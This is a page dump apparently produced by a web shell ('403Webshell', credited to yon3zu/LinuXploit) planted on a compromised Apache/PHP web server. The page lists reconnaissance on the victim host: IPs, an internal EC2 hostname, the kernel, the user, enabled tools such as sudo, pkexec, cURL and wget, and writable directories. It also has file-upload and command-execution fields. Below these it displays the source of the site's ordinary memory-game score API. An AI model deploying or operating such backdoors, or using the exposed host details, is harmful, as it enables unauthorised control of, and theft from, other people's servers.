403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/public_html/leia/memorygame/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/public_html/leia/memorygame/api.php
<?php
require_once(__DIR__ . '/../.credentials.php');
require_once '/home/banners/public_html/bway/db/mysql_bootstrap.php';
header('Content-Type: application/json');

$action = $_POST['action'] ?? $_GET['action'] ?? '';
$response = [];
$statusCode = 200;

try {
    switch ($action) {

        // GET RANDOM IMAGES
        case 'getImages':
            $mode = $_GET['mode'] ?? 'leia';
            $count = intval($_GET['count'] ?? 12);
            $count = max(4, min(18, $count));

            $dir = __DIR__ . '/../LeiaPics/';
            $leiaImages = [];
            $chewieImages = [];
            foreach (glob($dir . '*.jpeg') as $file) {
                $name = basename($file);
                if (str_starts_with($name, 'leia')) {
                    $leiaImages[] = $name;
                } elseif (str_starts_with($name, 'chewie')) {
                    $chewieImages[] = $name;
                }
            }

            // Select pool based on mode
            switch ($mode) {
                case 'leia':
                    $pool = $leiaImages;
                    break;
                case 'chewie':
                    $pool = $chewieImages;
                    break;
                default:
                    $pool = array_merge($leiaImages, $chewieImages);
                    break;
            }

            shuffle($pool);
            if ($count > count($pool)) {
                $count = count($pool);
            }
            $response = array_slice($pool, 0, $count);
            break;

        // SAVE SCORE
        case 'saveScore':
            $playerName = substr(trim($_POST['playerName'] ?? ''), 0, 50);
            $playerCookie = substr(trim($_POST['playerCookie'] ?? ''), 0, 64);
            $gameMode = strtolower(trim($_POST['gameMode'] ?? ''));
            $cardCount = intval($_POST['cardCount'] ?? 0);
            $moves = intval($_POST['moves'] ?? 0);
            $timeSeconds = floatval($_POST['timeSeconds'] ?? 0);

            // Validation
            if (strlen($playerName) === 0 || strlen($playerCookie) === 0) {
                throw new Exception('Player name and ID are required.');
            }
            if (!in_array($gameMode, ['leia', 'chewie', 'both'])) {
                throw new Exception('Invalid game mode.');
            }
            if ($cardCount < 8 || $cardCount > 36 || $cardCount % 2 !== 0) {
                throw new Exception('Invalid card count.');
            }
            if ($timeSeconds < 1) {
                throw new Exception('Invalid time.');
            }

            // Insert score
            $pdo = new PDO('mysql:host=' . DB_WRITE_HOST . ';dbname=' . DB_NAME, DB_USER, DB_PASS, mysqlPdoOptions([]));
            $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

            $stmt = $pdo->prepare('INSERT INTO leia_memorygame_scores (player_name, player_cookie, game_mode, card_count, moves, time_seconds) VALUES (?, ?, ?, ?, ?, ?)');
            $stmt->execute([$playerName, $playerCookie, $gameMode, $cardCount, $moves, $timeSeconds]);

            // Get rank
            $pdoRead = new PDO('mysql:host=' . DB_READ_HOST . ';dbname=' . DB_NAME, DB_USER, DB_PASS, mysqlPdoOptions([]));
            $pdoRead->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

            $stmt = $pdoRead->prepare('SELECT COUNT(*) + 1 AS scoreRank FROM leia_memorygame_scores WHERE game_mode = ? AND card_count = ? AND time_seconds < ?');
            $stmt->execute([$gameMode, $cardCount, $timeSeconds]);
            $rank = $stmt->fetchColumn();

            // Check personal best
            $stmt = $pdoRead->prepare('SELECT MIN(time_seconds) AS best_time FROM leia_memorygame_scores WHERE player_cookie = ? AND game_mode = ? AND card_count = ? AND time_seconds < ?');
            $stmt->execute([$playerCookie, $gameMode, $cardCount, $timeSeconds]);
            $bestTime = $stmt->fetchColumn();
            $isPersonalBest = ($bestTime === false || $bestTime === null || floatval($bestTime) == 0);

            $response = [
                'success' => true,
                'rank' => intval($rank),
                'isPersonalBest' => $isPersonalBest
            ];
            break;

        // GET SCORES
        case 'getScores':
            $gameMode = $_GET['gameMode'] ?? '';
            $cardCount = $_GET['cardCount'] ?? '';
            $playerCookie = $_GET['playerCookie'] ?? '';
            $tab = $_GET['tab'] ?? 'global';
            $limit = min(intval($_GET['limit'] ?? 25), 100);
            if ($limit < 1) $limit = 25;

            $pdoRead = new PDO('mysql:host=' . DB_READ_HOST . ';dbname=' . DB_NAME, DB_USER, DB_PASS, mysqlPdoOptions([]));
            $pdoRead->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

            $sql = "SELECT player_name, game_mode, card_count, moves, time_seconds, DATE_FORMAT(completed_at, '%m/%d/%Y') AS completed_date FROM leia_memorygame_scores WHERE 1=1";
            $params = [];

            if (strlen(trim($gameMode)) > 0) {
                $sql .= ' AND game_mode = ?';
                $params[] = trim($gameMode);
            }
            if (intval($cardCount) > 0) {
                $sql .= ' AND card_count = ?';
                $params[] = intval($cardCount);
            }
            if ($tab === 'personal' && strlen(trim($playerCookie)) > 0) {
                $sql .= ' AND player_cookie = ?';
                $params[] = trim($playerCookie);
            }
            $sql .= ' ORDER BY time_seconds ASC LIMIT ' . $limit;

            $stmt = $pdoRead->prepare($sql);
            $stmt->execute($params);

            $scores = [];
            $scoreRank = 0;
            while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
                $scoreRank++;
                $scores[] = [
                    'rank' => $scoreRank,
                    'playerName' => $row['player_name'],
                    'gameMode' => $row['game_mode'],
                    'cardCount' => intval($row['card_count']),
                    'moves' => intval($row['moves']),
                    'timeSeconds' => floatval($row['time_seconds']),
                    'date' => $row['completed_date']
                ];
            }
            $response = $scores;
            break;

        default:
            $response = ['error' => 'Unknown action'];
            break;
    }
} catch (Exception $e) {
    $response = ['error' => $e->getMessage()];
    $statusCode = 500;
}

http_response_code($statusCode);
echo json_encode($response);

Youez - 2016 - github.com/yon3zu
LinuXploit